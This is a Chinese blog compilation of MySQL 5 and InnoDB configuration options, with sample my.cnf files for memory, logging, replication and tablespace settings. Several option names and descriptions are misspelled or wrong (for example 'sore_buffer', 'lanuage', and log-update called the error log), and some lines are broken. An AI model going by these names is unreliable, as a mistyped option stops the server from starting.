#
?
本文中的配置都是從《MySQL5權(quán)威指南(3rd)》中摘抄出來的,個人認(rèn)為對于使用MySQL十分有用。放在此處方便自己隨時查閱,也希望對其他朋友有所助益。(2007.05.30最后更新)
mysqld程序--目錄和文件 basedir = path 使用給定目錄作為根目錄(安裝目錄)。 character-sets-dir = path 給出存放著字符集的目錄。 datadir = path 從給定目錄讀取數(shù)據(jù)庫文件。 pid-file = filename 為mysqld程序指定一個存放進(jìn)程ID的文件(僅適用于UNIX/Linux系統(tǒng)); Init-V腳本需要使用這個文件里的進(jìn)程ID結(jié)束mysqld進(jìn)程。 socket = filename 為MySQL客戶程序與服務(wù)器之間的本地通信指定一個套接字文件(僅適用于UNIX/Linux系統(tǒng); 默認(rèn)設(shè)置一般是/var/lib/mysql/mysql.sock文件)。 ??? 在Windows環(huán)境下,如果MySQL客戶與服務(wù)器是通過命名管道進(jìn)行通信的,--sock選項給出的將是該命名管道的名字(默認(rèn)設(shè)置是MySQL)。 lower_case_table_name = 1/0 新目錄和數(shù)據(jù)表的名字是否只允許使用小寫字母; 這個選項在Windows環(huán)境下的默認(rèn)設(shè)置是1(只允許使用小寫字母)。
mysqld程序--語言設(shè)置 character-sets-server = name 新數(shù)據(jù)庫或數(shù)據(jù)表的默認(rèn)字符集。為了與MySQL的早期版本保持兼容,這個字符集也可以用--default-character-set選項給出; 但這個選項已經(jīng)顯得有點(diǎn)過時了。 collation-server = name 新數(shù)據(jù)庫或數(shù)據(jù)表的默認(rèn)排序方式。 lanuage = name 用指定的語言顯示出錯信息。
mysqld程序--通信、網(wǎng)絡(luò)、信息安全 enable-named-pipes 允許Windows 2000/XP環(huán)境下的客戶和服務(wù)器使用命名管道(named pipe)進(jìn)行通信。這個命名管道的默認(rèn)名字是MySQL,但可以用--socket選項來改變。 local-infile [=0] 允許/禁止使用LOAD DATA LOCAL語句來處理本地文件。 myisam-recover [=opt1, opt2, ...] 在啟動時自動修復(fù)所有受損的MyISAM數(shù)據(jù)表。這個選項的可取值有4種:DEFAULT、BACKUP、QUICK和FORCE; 它們與myisamchk程序的同名選項作用相同。 old-passwords 使用MySQL 3.23和4.0版本中的老算法來加密mysql數(shù)據(jù)庫里的密碼(默認(rèn)使用MySQL 4.1版本開始引入的新加密算法)。 port = n 為MySQL程序指定一個TCP/IP通信端口(通常是3306端口)。 safe-user-create 只有在mysql.user數(shù)據(jù)庫表上擁有INSERT權(quán)限的用戶才能使用GRANT命令; 這是一種雙保險機(jī)制(此用戶還必須具備GRANT權(quán)限才能執(zhí)行GRANT命令)。 shared-memory 允許使用內(nèi)存(shared memory)進(jìn)行通信(僅適用于Windows)。 shared-memory-base-name = name 給共享內(nèi)存塊起一個名字(默認(rèn)的名字是MySQL)。 skip-grant-tables 不使用mysql數(shù)據(jù)庫里的信息來進(jìn)行訪問控制(警告:這將允許用戶任何用戶去修改任何數(shù)據(jù)庫)。 skip-host-cache 不使用高速緩存區(qū)來存放主機(jī)名和IP地址的對應(yīng)關(guān)系。 skip-name-resovle 不把IP地址解析為主機(jī)名; 與訪問控制(mysql.user數(shù)據(jù)表)有關(guān)的檢查全部通過IP地址行進(jìn)。 skip-networking 只允許通過一個套接字文件(Unix/Linux系統(tǒng))或通過命名管道(Windows系統(tǒng))進(jìn)行本地連接,不允許ICP/IP連接; 這提高了安全性,但阻斷了來自網(wǎng)絡(luò)的外部連接和所有的Java客戶程序(Java客戶即使在本地連接里也使用TCP/IP)。 user = name mysqld程序在啟動后將在給定UNIX/Linux賬戶下執(zhí)行; mysqld必須從root賬戶啟動才能在啟動后切換到另一個賬戶下執(zhí)行; mysqld_safe腳本將默認(rèn)使用--user=mysql選項來啟動mysqld程序。
mysqld程序--內(nèi)存管理、優(yōu)化、查詢緩存區(qū) bulk_insert_buffer_size = n 為一次插入多條新記錄的INSERT命令分配的緩存區(qū)長度(默認(rèn)設(shè)置是8M)。 key_buffer_size = n 用來存放索引區(qū)塊的RMA值(默認(rèn)設(shè)置是8M)。 join_buffer_size = n 在參加JOIN操作的數(shù)據(jù)列沒有索引時為JOIN操作分配的緩存區(qū)長度(默認(rèn)設(shè)置是128K)。 max_heap_table_size = n HEAP數(shù)據(jù)表的最大長度(默認(rèn)設(shè)置是16M); 超過這個長度的HEAP數(shù)據(jù)表將被存入一個臨時文件而不是駐留在內(nèi)存里。 max_connections = n MySQL服務(wù)器同時處理的數(shù)據(jù)庫連接的最大數(shù)量(默認(rèn)設(shè)置是100)。 query_cache_limit = n 允許臨時存放在查詢緩存區(qū)里的查詢結(jié)果的最大長度(默認(rèn)設(shè)置是1M)。 query_cache_size = n 查詢緩存區(qū)的最大長度(默認(rèn)設(shè)置是0,不開辟查詢緩存區(qū))。 query_cache_type = 0/1/2 查詢緩存區(qū)的工作模式:0, 禁用查詢緩存區(qū); 1,啟用查詢緩存區(qū)(默認(rèn)設(shè)置); 2,"按需分配"模式,只響應(yīng)SELECT SQL_CACHE命令。 read_buffer_size = n 為從數(shù)據(jù)表順序讀取數(shù)據(jù)的讀操作保留的緩存區(qū)的長度(默認(rèn)設(shè)置是128KB); 這個選項的設(shè)置值在必要時可以用SQL命令SET SESSION read_buffer_size = n命令加以改變。 read_rnd_buffer_size = n 類似于read_buffer_size選項,但針對的是按某種特定順序(比如使用了ORDER BY子句的查詢)輸出的查詢結(jié)果(默認(rèn)設(shè)置是256K)。 sore_buffer = n 為排序操作分配的緩存區(qū)的長度(默認(rèn)設(shè)置是2M); 如果這個緩存區(qū)太小,則必須創(chuàng)建一個臨時文件來進(jìn)行排序。 table_cache = n 同時打開的數(shù)據(jù)表的數(shù)量(默認(rèn)設(shè)置是64)。 tmp_table_size = n 臨時HEAP數(shù)據(jù)表的最大長度(默認(rèn)設(shè)置是32M); 超過這個長度的臨時數(shù)據(jù)表將被轉(zhuǎn)換為MyISAM數(shù)據(jù)表并存入一個臨時文件。
mysqld程序--日志 log [= file] 把所有的連接以及所有的SQL命令記入日志(通用查詢?nèi)罩?; 如果沒有給出file參數(shù),MySQL將在數(shù)據(jù)庫目錄里創(chuàng)建一個hostname.log文件作為這種日志文件(hostname是服務(wù)器的主機(jī)名)。 log-slow-queries [= file] 把執(zhí)行用時超過long_query_time變量值的查詢命令記入日志(慢查詢?nèi)罩?; 如果沒有給出file參數(shù),MySQL將在數(shù)據(jù)庫目錄里創(chuàng)建一個hostname-slow.log文件作為這種日志文件(hostname是服務(wù)器主機(jī)名)。 long_query_time = n 慢查詢的執(zhí)行用時上限(默認(rèn)設(shè)置是10s)。 long_queries_not_using_indexs 把慢查詢以及執(zhí)行時沒有使用索引的查詢命令全都記入日志(其余同--log-slow-queries選項)。 log-bin [= filename] 把對數(shù)據(jù)進(jìn)行修改的所有SQL命令(也就是INSERT、UPDATE和DELETE命令)以二進(jìn)制格式記入日志(二進(jìn)制變更日志,binary update log)。這種日志的文件名是filename.n或默認(rèn)的hostname.n,其中n是一個6位數(shù)字的整數(shù)(日志文件按順序編號)。 log-bin-index = filename 二進(jìn)制日志功能的索引文件名。在默認(rèn)情況下,這個索引文件與二進(jìn)制日志文件的名字相同,但后綴名是.index而不是.nnnnnn。 max_binlog_size = n 二進(jìn)制日志文件的最大長度(默認(rèn)設(shè)置是1GB)。在前一個二進(jìn)制日志文件里的信息量超過這個最大長度之前,MySQL服務(wù)器會自動提供一個新的二進(jìn)制日志文件接續(xù)上。 binlog-do-db = dbname 只把給定數(shù)據(jù)庫里的變化情況記入二進(jìn)制日志文件,其他數(shù)據(jù)庫里的變化情況不記載。如果需要記載多個數(shù)據(jù)庫里的變化情況,就必須在配置文件使用多個本選項來設(shè)置,每個數(shù)據(jù)庫一行。 binlog-ignore-db = dbname 不把給定數(shù)據(jù)庫里的變化情況記入二進(jìn)制日志文件。 sync_binlog = n 每經(jīng)過n次日志寫操作就把日志文件寫入硬盤一次(對日志信息進(jìn)行一次同步)。n=1是最安全的做法,但效率最低。默認(rèn)設(shè)置是n=0,意思是由操作系統(tǒng)來負(fù)責(zé)二進(jìn)制日志文件的同步工作。 log-update [= file] 記載出錯情況的日志文件名(出錯日志)。這種日志功能無法禁用。如果沒有給出file參數(shù),MySQL會使用hostname.err作為種日志文件的名字。
mysqld程序--鏡像(主控鏡像服務(wù)器) server-id = n 給服務(wù)器分配一個獨(dú)一無二的ID編號; n的取值范圍是1~2的32次方啟用二進(jìn)制日志功能。 log-bin = name 啟用二進(jìn)制日志功能。這種日志的文件名是filename.n或默認(rèn)的hostname.n,其中的n是一個6位數(shù)字的整數(shù)(日志文件順序編號)。 binlog-do/ignore-db = dbname 只把給定數(shù)據(jù)庫里的變化情況記入二進(jìn)制日志文件/不把給定的數(shù)據(jù)庫里的變化記入二進(jìn)制日志文件。
mysqld程序--鏡像(從屬鏡像服務(wù)器) server-id = n 給服務(wù)器分配一個唯一的ID編號 log-slave-updates 啟用從屬服務(wù)器上的日志功能,使這臺計算機(jī)可以用來構(gòu)成一個鏡像鏈(A->B->C)。 master-host = hostname 主控服務(wù)器的主機(jī)名或IP地址。如果從屬服務(wù)器上存在mater.info文件(鏡像關(guān)系定義文件),它將忽略此選項。 master-user = replicusername 從屬服務(wù)器用來連接主控服務(wù)器的用戶名。如果從屬服務(wù)器上存在mater.info文件,它將忽略此選項。 master-password = passwd 從屬服務(wù)器用來連接主控服務(wù)器的密碼。如果從屬服務(wù)器上存在mater.info文件,它將忽略此選項。 master-port = n 從屬服務(wù)器用來連接主控服務(wù)器的TCP/IP端口(默認(rèn)設(shè)置是3306端口)。 master-connect-retry = n 如果與主控服務(wù)器的連接沒有成功,則等待n秒(s)后再進(jìn)行管理方式(默認(rèn)設(shè)置是60s)。如果從屬服務(wù)器存在mater.info文件, ??? 它將忽略此選項。 master-ssl-xxx = xxx 對主、從服務(wù)器之間的SSL通信進(jìn)行配置。 read-only = 0/1 0: 允許從屬服務(wù)器獨(dú)立地執(zhí)行SQL命令(默認(rèn)設(shè)置); 1: 從屬服務(wù)器只能執(zhí)行來自主控服務(wù)器的SQL命令。 read-log-purge = 0/1 1: 把處理完的SQL命令立刻從中繼日志文件里刪除(默認(rèn)設(shè)置); 0: 不把處理完的SQL命令立刻從中繼日志文件里刪除。 replicate-do-table = dbname.tablename 與--replicate-do-table選項的含義和用法相同,但數(shù)據(jù)庫和數(shù)據(jù)庫表名字里允許出現(xiàn)通配符"%" ??? (例如: test%.%--對名字以"test"開頭的所有數(shù)據(jù)庫里的所以數(shù)據(jù)庫表進(jìn)行鏡像處理)。 replicate-do-db = name 只對這個數(shù)據(jù)庫進(jìn)行鏡像處理。 replicate-ignore-table = dbname.tablename 不對這個數(shù)據(jù)表進(jìn)行鏡像處理。 replicate-wild-ignore-table = dbn.tablen 不對這些數(shù)據(jù)表進(jìn)行鏡像處理。 replicate-ignore-db = dbname 不對這個數(shù)據(jù)庫進(jìn)行鏡像處理。 replicate-rewrite-db = db1name > db2name 把主控數(shù)據(jù)庫上的db1name數(shù)據(jù)庫鏡像處理為從屬服務(wù)器上的db2name數(shù)據(jù)庫。 report-host = hostname 從屬服務(wù)器的主機(jī)名; 這項信息只與SHOW SLAVE HOSTS命令有關(guān)--主控服務(wù)器可以用這條命令生成一份從屬服務(wù)器的名單。 slave-compressed-protocol = 1 主、從服務(wù)器使用壓縮格式進(jìn)行通信--如果它們都支持這么做的話。 slave-skip-errors = n1, n2, ...或all 即使發(fā)生出錯代碼為n1、n2等的錯誤,鏡像處理工作也繼續(xù)進(jìn)行(即不管發(fā)生什么錯誤,鏡像處理工作也繼續(xù)進(jìn)行)。 ??? 如果配置得當(dāng),從屬服務(wù)器不應(yīng)該在執(zhí)行SQL命令時發(fā)生錯誤(在主控服務(wù)器上執(zhí)行出錯的SQL命令不會被發(fā)送到從屬服務(wù)器上做鏡像處理); 如果不使用 ??? slave-skip-errors選項,從屬服務(wù)器上的鏡像工作就可能國為發(fā)生錯誤而中斷,中斷后需要有人工參與才能繼續(xù)進(jìn)行。
mysqld--InnoDB--基本設(shè)置、表空間文件 skip-innodb 不加載InnoDB數(shù)據(jù)表驅(qū)動程序--如果用不著InnoDB數(shù)據(jù)表,可以用這個選項節(jié)省一些內(nèi)存。 innodb-file-per-table 為每一個新數(shù)據(jù)表創(chuàng)建一個表空間文件而不是把數(shù)據(jù)表都集中保存在中央表空間里(后者是默認(rèn)設(shè)置)。該選項始見于MySQL 4.1。 innodb-open-file = n InnoDB數(shù)據(jù)表驅(qū)動程序最多可以同時打開的文件數(shù)(默認(rèn)設(shè)置是300)。如果使用了innodb-file-per-table選項并且需要同時打開很多 ??? 數(shù)據(jù)表的話,這個數(shù)字很可能需要加大。 innodb_data_home_dir = p InnoDB主目錄,所有與InnoDB數(shù)據(jù)表有關(guān)的目錄或文件路徑都相對于這個路徑。在默認(rèn)的情況下,這個主目錄就是MySQL的數(shù)據(jù)目錄。 innodb_data_file_path = ts 用來容納InnoDB為數(shù)據(jù)表的表空間: 可能涉及一個以上的文件; 每一個表空間文件的最大長度都必須以字節(jié)(B)、兆字節(jié)(MB)或 ??? 千兆字節(jié)(GB)為單位給出; 表空間文件的名字必須以分號隔開; 最后一個表空間文件還可以帶一個autoextend屬性和一個最大長度(max:n)。 ??? 例如,ibdata1:1G; ibdata2:1G:autoextend:max:2G的意思是: 表空間文件ibdata1的最大長度是1GB,ibdata2的最大長度也是1G,但允許它擴(kuò)充到2GB。 ??? 除文件名外,還可以用硬盤分區(qū)的設(shè)置名來定義表空間,此時必須給表空間的最大初始長度值加上newraw關(guān)鍵字做后綴,給表空間的最大擴(kuò)充長度值加上 ??? raw關(guān)鍵字做后綴(例如/dev/hdb1:20Gnewraw或/dev/hdb1:20Graw); MySQL 4.0及更高版本的默認(rèn)設(shè)置是ibdata1:10M:autoextend。 innodb_autoextend_increment = n 帶有autoextend屬性的表空間文件每次加大多少兆字節(jié)(默認(rèn)設(shè)置是8MB)。這個屬性不涉及具體的數(shù)據(jù)表文件,那些文件的 ??? 增大速度相對是比較小的。 innodb_lock_wait_timeout = n 如果某個事務(wù)在等待n秒(s)后還沒有獲得所需要的資源,就使用ROLLBACK命令放棄這個事務(wù)。這項設(shè)置對于發(fā)現(xiàn)和處理未能被 ??? InnoDB數(shù)據(jù)表驅(qū)動程序識別出來的死鎖條件有著重要的意義。這個選項的默認(rèn)設(shè)置是50s。 innodb_fast_shutdown 0/1 是否以最快的速度關(guān)閉InnoDB,默認(rèn)設(shè)置是1,意思是不把緩存在INSERT緩存區(qū)的數(shù)據(jù)寫入數(shù)據(jù)表,那些數(shù)據(jù)將在MySQL服務(wù)器下次 ??? 啟動時再寫入(這么做沒有什么風(fēng)險,因為INSERT緩存區(qū)是表空間的一個組成部分,數(shù)據(jù)不會丟失)。把這個選項設(shè)置為0反面危險,因為在計算機(jī)關(guān)閉時, ??? InnoDB驅(qū)動程序很可能沒有足夠的時間完成它的數(shù)據(jù)同步工作,操作系統(tǒng)也許會在它完成數(shù)據(jù)同步工作之前強(qiáng)行結(jié)束InnoDB,而這會導(dǎo)致數(shù)據(jù)不完整。
mysqld程序--InnoDB--日志 innodb_log_group_home_dir = p 用來存放InnoDB日志文件的目錄路徑(如ib_logfile0、ib_logfile1等)。在默認(rèn)的情況下,InnoDB驅(qū)動程序?qū)⑹褂肕ySQL數(shù)據(jù)目 ??? 錄作為自己保存日志文件的位置。??? innodb_log_files_in_group = n 使用多少個日志文件(默認(rèn)設(shè)置是2)。InnoDB數(shù)據(jù)表驅(qū)動程序?qū)⒁暂嗈D(zhuǎn)方式依次填寫這些文件; 當(dāng)所有的日志文件都寫滿以后, ??? 之后的日志信息將寫入第一個日志文件的最大長度(默認(rèn)設(shè)置是5MB)。這個長度必須以MB(兆字節(jié))或GB(千兆字節(jié))為單位進(jìn)行設(shè)置。 innodb_flush_log_at_trx_commit = 0/1/2 這個選項決定著什么時候把日志信息寫入日志文件以及什么時候把這些文件物理地寫(術(shù)語稱為"同步")到硬盤上。 ??? 設(shè)置值0的意思是每隔一秒寫一次日志并進(jìn)行同步,這可以減少硬盤寫操作次數(shù),但可能造成數(shù)據(jù)丟失; 設(shè)置值1(設(shè)置設(shè)置)的意思是在每執(zhí)行完一條COMMIT ??? 命令就寫一次日志并進(jìn)行同步,這可以防止數(shù)據(jù)丟失,但硬盤寫操作可能會很頻繁; 設(shè)置值2是一般折衷的辦法,即每執(zhí)行完一條COMMIT命令寫一次日志, ??? 每隔一秒進(jìn)行一次同步。 innodb_flush_method = x InnoDB日志文件的同步辦法(僅適用于UNIX/Linux系統(tǒng))。這個選項的可取值有兩種: fdatasync,用fsync()函數(shù)進(jìn)行同步; O_DSYNC, ??? 用O_SYNC()函數(shù)進(jìn)行同步。 innodb_log_archive = 1 啟用InnoDB驅(qū)動程序的archive(檔案)日志功能,把日志信息寫入ib_arch_log_n文件。啟用這種日志功能在InnoDB與MySQL一起使用時沒有 ??? 多大意義(啟用MySQL服務(wù)器的二進(jìn)制日志功能就足夠用了)。
mysqld程序--InnoDB--緩存區(qū)的設(shè)置和優(yōu)化 innodb_log_buffer_pool_size = n 為InnoDB數(shù)據(jù)表及其索引而保留的RAM內(nèi)存量(默認(rèn)設(shè)置是8MB)。這個參數(shù)對速度有著相當(dāng)大的影響,如果計算機(jī)上只運(yùn)行有 ??? MySQL/InnoDB數(shù)據(jù)庫服務(wù)器,就應(yīng)該把全部內(nèi)存的80%用于這個用途。 innodb_log_buffer_size = n 事務(wù)日志文件寫操作緩存區(qū)的最大長度(默認(rèn)設(shè)置是1MB)。 innodb_additional_men_pool_size = n 為用于內(nèi)部管理的各種數(shù)據(jù)結(jié)構(gòu)分配的緩存區(qū)最大長度(默認(rèn)設(shè)置是1MB)。 innodb_file_io_threads = n I/O操作(硬盤寫操作)的最大線程個數(shù)(默認(rèn)設(shè)置是4)。 innodb_thread_concurrency = n InnoDB驅(qū)動程序能夠同時使用的最大線程個數(shù)(默認(rèn)設(shè)置是8)。
mysqld程序--其它選項 bind-address = ipaddr MySQL服務(wù)器的IP地址。如果MySQL服務(wù)器所在的計算機(jī)有多個IP地址,這個選項將非常重要。 default-storage-engine = type 新數(shù)據(jù)表的默認(rèn)數(shù)據(jù)表類型(默認(rèn)設(shè)置是MyISAM)。這項設(shè)置還可以通過--default-table-type選項來設(shè)置。 default-timezone = name 為MySQL服務(wù)器設(shè)置一個地理時區(qū)(如果它與本地計算機(jī)的地理時區(qū)不一樣)。 ft_min_word_len = n 全文索引的最小單詞長度工。這個選項的默認(rèn)設(shè)置是4,意思是在創(chuàng)建全文索引時不考慮那些由3個或更少的字符構(gòu)建單詞。 Max-allowed-packet = n 客戶與服務(wù)器之間交換的數(shù)據(jù)包的最大長度,這個數(shù)字至少應(yīng)該大于客戶程序?qū)⒁幚淼淖畲驜LOB塊的長度。這個選項的默認(rèn)設(shè)置是1MB。 Sql-mode = model1, mode2, ... MySQL將運(yùn)行在哪一種SQL模式下。這個選項的作用是讓MySQL與其他的數(shù)據(jù)庫系統(tǒng)保持最大程度的兼容。這個選項的可取值包括 ??? ansi、db2、oracle、no_zero_date、pipes_as_concat。
注意:如果在配置文件里給出的某個選項是mysqld無法識別的(如,因為犯了一個愚蠢的打字錯誤),MySQL服務(wù)器將不啟動。
來源:
http://blog.chinaunix.net/u1/41728/showart_350147.html
|
?
這個文件超級大, 查了一下, 大概的作用如下 是儲存的格式 INNODB類型數(shù)據(jù)狀態(tài)下, ibdata用來儲存文件的數(shù)據(jù) 而庫名的文件夾里面的那些表文件只是結(jié)構(gòu)而已 由于mysql4.1默認(rèn)試innodb,所以這個文件默認(rèn)就存在了http://man.chinaunix.net/database/mysql/inonodb_zh/2.htm 這個鏈接試innodb的中文參考, innodb的東西可以在my.ini中設(shè)置 innodo中文參考全文如下 InnoDB 啟動選項為了在 MySQL-Max-3.23 中使用 InnoDB 表,你必須在配置文件‘my.cnf’或‘my.ini’(WINDOWS系統(tǒng))中的 [mysqld] 區(qū)中詳細(xì)指定配置參數(shù)。 作為最小設(shè)置,在 3.23 中你必須在 innodb_data_file_path 上指定數(shù)據(jù)文件名能及大小。如果在‘my.cnf’中沒有指定innodb_data_home_dir ,系統(tǒng)將在 MySQL 的 datadir 目錄下創(chuàng)建數(shù)據(jù)文件。如果將 innodb_data_home_dir 設(shè)為一個空串,那可以在 innodb_data_file_path 中給定一個絕對路徑。在 MySQL-4.0 中可以不設(shè)定 innodb_data_file_path :MySQL-4.0 將默認(rèn)地在 datadir 目錄下建立一個 10 MB 大小自擴(kuò)充(auto-extending)的文件‘ibdata1’(在MySQL-4.0.0 與 4.0.1 中數(shù)據(jù)文件的大小為 64 MB 并且是非自擴(kuò)充的(not auto-extending))。 為了得到更好的性能你必須所示的例子明確地設(shè)定 InnoDB 啟動參數(shù)。 從 3.23.50 版和 4.0.2 版開始,InnoDB 允許在 innodb_data_file_path 中設(shè)置的最一個數(shù)據(jù)文件描述為 auto-extending。 innodb_data_file_path 語法如下所示: pathtodatafile:sizespecification;pathtodatafile:sizespec;... ...;pathtodatafile:sizespec[:autoextend[:max:sizespecification]]
如果用 autoextend 選項描述最后一個數(shù)據(jù)文件,當(dāng) InnoDB 用盡所有表自由空間后將會自動擴(kuò)充最后一個數(shù)據(jù)文件,每次增量為 8 MB。示例: innodb_data_home_dir = innodb_data_file_path = /ibdata/ibdata1:100M:autoextend
指定 InnoDB 只建立一個最初大小為 100 MB 并且當(dāng)表空間被用盡時以 8MB 每塊增加的數(shù)據(jù)文件。如果硬盤空間不足,可以再添加一個數(shù)據(jù)文件并將其放在其它的硬盤中。 舉例來說:先檢查硬盤空間的大小,設(shè)定 ibdata1 文件使它接近于硬盤空余空間大小并為 1024 * 1024 bytes (= 1 MB)的倍數(shù), 將 ibdata1 明確地指定在 innodb_data_file_path 中。在此之后可以添加另一個數(shù)據(jù)文件: innodb_data_home_dir = innodb_data_file_path = /ibdata/ibdata1:988M;/disk2/ibdata2:50M:autoextend
注意:設(shè)定文件大小時一定要注意你的OS是否有最大文件尺寸為2GB的限制!InnoDB是不會注意你的OS文件尺寸限制的, 在一些文件系統(tǒng)中你可能要設(shè)定最大容量限制: innodb_data_home_dir = innodb_data_file_path = /ibdata/ibdata1:100M:autoextend:max:2000M
一個簡單的 my.cnf 例子。 假設(shè)你的計算機(jī)有 128 MB RAM 和一個硬盤。下面的例子是為了使用 InnoDB 而在 my.cnf 或 my.ini 文件中可能所作的一些配置。我們假設(shè)你運(yùn)行的是 MySQL-Max-3.23.50 及以上版本,或 MySQL-4.0.2 及以上版本。 這個示例適合大部分不需要將 InnoDB 數(shù)據(jù)文件和日志文件放在幾個盤上的 Unix 和 Windows 用戶。這個例子在 MySQL 的datadir 目錄(典型的為 /mysql/data)中創(chuàng)建一個自擴(kuò)充(auto-extending)的數(shù)據(jù)文件 ibdata1 和兩個 InnoDB 運(yùn)行日志文件ib_logfile0 和 ib_logfile1 以及 ib_arch_log_0000000000 檔案文件。 [mysqld] #在這里加入其它 的 MySQL 服務(wù)器配置 #... # 數(shù)據(jù)文件必須 # 能夠容下數(shù)據(jù)與索引 # 確定有足夠的 # 磁盤空間 innodb_data_file_path = ibdata1:10M:autoextend # 設(shè)置緩沖池的大小為 # 你的主內(nèi)存大小的 # 50 - 80 % set-variable = innodb_buffer_pool_size=70M set-variable = innodb_additional_mem_pool_size=10M # 設(shè)置日志文件的大小約為 # 緩沖池(buffer pool) # 大小的 25 % set-variable = innodb_log_file_size=20M set-variable = innodb_log_buffer_size=8M # 如果丟失最近幾個事務(wù)影響 # 不大的話可以設(shè)置 # .._flush_log_at_trx_commit = 0 innodb_flush_log_at_trx_commit=1
InnoDB 不會自己建立目錄,必須自己使用操作系統(tǒng)命令建立相應(yīng)的目錄。檢查你的 MySQL 服務(wù)程序在 datadir 目錄里 有足夠的權(quán)限建立文件。 注意:在某些文件系統(tǒng)中 數(shù)據(jù)文件大小必須小于2G! 所有運(yùn)行日志文件的大小總和必須小于 2G 或 4G,這依賴于具體的 MySQL 系統(tǒng)版本。 數(shù)據(jù)文件的總和必須大于等于 10 MB. 當(dāng)?shù)谝淮谓?InnoDB 數(shù)據(jù)庫時,建議最好以命令行方式啟動 MySQL 服務(wù)。這樣 InnoDB 數(shù)據(jù)庫建立時的提示信息將在屏幕上顯示,從而可以看到建立過程。 下面第 3 節(jié)所示就是 InnoDB 數(shù)據(jù)庫建立時的屏幕顯示。例如,在 Windows 下使用下列指令啟動 mysqld-max.exe : your-path-to-mysqld>mysqld-max --console
在 Windows 系統(tǒng)下 my.cnf 或 my.ini 放在哪里?規(guī)則如下 : - 只能存在一個 my.cnf 或 my.ini 文件
- my.cnf 文件必須放在 C: 的根目錄下
- my.ini 文件必須放在 WINDIR 目錄下,例:C:\WINDOWS 或 C:\WINNT??梢允褂?MS-DOS 的
SET 命令查看 WINDIR 目錄值 - 如果你的 PC 使用啟動引導(dǎo)程序引導(dǎo)系統(tǒng)而 C: 不是啟動磁盤,那只能唯一地使用 my.ini 作為設(shè)置文件
Unix 下在哪里指定配置文件?在 Unix 下 mysqld 按下列順序搜索配置文件: - /etc/my.cnf 全局選項
- COMPILATION_DATADIR/my.cnf 服務(wù)器范圍的選項
- defaults-extra-file 采用
--defaults-extra-file=... . 設(shè)置的默認(rèn)文件 - ~/.my.cnf 用戶指定文件
COMPILATION_DATADIR 是 MySQL 的數(shù)據(jù)文件目錄,它是在 mysqld 被編譯時以 ./configure 設(shè)置指定 (典型的是 /usr/local/mysql/data 二進(jìn)制安裝或 /usr/local/var 以源安裝)。 如果不有確定 mysqld 從哪里讀取 my.cnf 或 my.ini,可以在第一命令行上詳細(xì)指定它的目錄:mysqld --defaults-file=your_path_to_my_cnf 。 InnoDB 的數(shù)據(jù)文件目錄是對 innodb_data_home_dir 與 innodb_data_file_path 的數(shù)據(jù)文件名或目錄聯(lián)合 ,如果需要將在它們之間增加一個“/”或“\”。如果關(guān)鍵字 innodb_data_home_dir 沒有在 my.cnf 中明確指定,它的默認(rèn)值為“.”,即目錄“./”,這意味著 MySQL 的 datadir of MySQL. 一個高級的 my.cnf 示例。假設(shè)你有一臺 2 GB RAM 和3個 60 GB 硬盤(路徑分別為 "/", "/dr2" 和 “/dr3”)裝有 Linux。下面的例子是為了使用 InnoDB 而在 my.cnf 文件中可能所作的一些配置。 注意:InnoDB 不會自己創(chuàng)建文件目錄:你必須自己創(chuàng)建它們。使用 Unix 或 MS-DOS mkdir 命令建立相應(yīng)的數(shù)據(jù)與日志文件目錄。 [mysqld] #在這里加入其它 的 MySQL 服務(wù)器配置 #... # 如果不使用InnoDB表將一列一行注釋去除 # skip-innodb # # 數(shù)據(jù)文件必須 # 能夠容下數(shù)據(jù)與索引 # 確定有足夠的 # 磁盤空間 innodb_data_file_path = /ibdata/ibdata1:2000M;/dr2/ibdata/ibdata2:2000M:autoextend # 設(shè)置緩沖池的大小為 # 你的主內(nèi)存大小的 # 50 - 80 %,但是 # 在 Linux x86 總內(nèi)存 # 使用必須小于 2 GB set-variable = innodb_buffer_pool_size=1G set-variable = innodb_additional_mem_pool_size=20M innodb_log_group_home_dir = /dr3/iblogs # .._log_arch_dir 必須和 # .._log_group_home_dir一樣; # 從 4.0.6開始,可以省略它 innodb_log_arch_dir = /dr3/iblogs set-variable = innodb_log_files_in_group=3 # 設(shè)置日志文件的大小約為 # 緩沖池(buffer pool) # 大小的 15 % set-variable = innodb_log_file_size=150M set-variable = innodb_log_buffer_size=8M # 如果丟失最近幾個事務(wù)影響 # 不大的話可以設(shè)置 # .._flush_log_at_trx_commit = 0 innodb_flush_log_at_trx_commit=1 set-variable = innodb_lock_wait_timeout=50 #innodb_flush_method=fdatasync #set-variable = innodb_thread_concurrency=5
注意:我們已在不同的硬盤上放置了兩個數(shù)據(jù)文件, InnoDB 將從數(shù)據(jù)文件的底部填充表空間。在某些情況下所有的數(shù)據(jù)被分配到不同的物理硬盤中會提高數(shù)據(jù)庫的性能。 將日志文件與數(shù)據(jù)文件分別放在不同的物理硬盤中對提高性能通常是很有益的。你同樣可以使用一個 RAW 磁盤分區(qū)( raw disk partitions(raw devices)) 作為數(shù)據(jù)文件, 在一些 Unixe 系統(tǒng)中這將提高 I/O 能力。 如何在 my.cnf 中詳細(xì)指定它們請查看第 12.1 節(jié)。 警告:在 Linux x86 上必須小心不能將內(nèi)存使用設(shè)置太高, glibc 會把進(jìn)程堆增長到線程堆棧之上,這將會使服務(wù)器崩潰。下面的接近或超過于 2G 將會很危險: innodb_buffer_pool_size + key_buffer + max_connections * (sort_buffer + record_buffer) + max_connections * 2 MB
每個線程將使用 2MB(MySQL AB 二進(jìn)制版本為 256 KB)的堆棧,在最壞的環(huán)境下還會使用 sort_buffer + record_buffer 的附加內(nèi)存。 如何調(diào)整其它的 mysqld 服務(wù)器參數(shù)?查看 MySQL 用戶手冊可以得到更詳細(xì)的信息。適合大多數(shù)用戶的典型參數(shù)如下所示: skip-locking set-variable = max_connections=200 set-variable = record_buffer=1M set-variable = sort_buffer=1M # 設(shè)置索引緩沖(key_buffer)大小為 # 你的 RAM 的 5 - 50% ,這主要依賴于 # 系統(tǒng)中 MyISAM 表使用量。 # 但是必須保證索引緩沖(key_buffer)與 InnoDB # 的緩沖池(buffer pool)大小總和 # 小于 RAM 的 80%。 set-variable = key_buffer=...
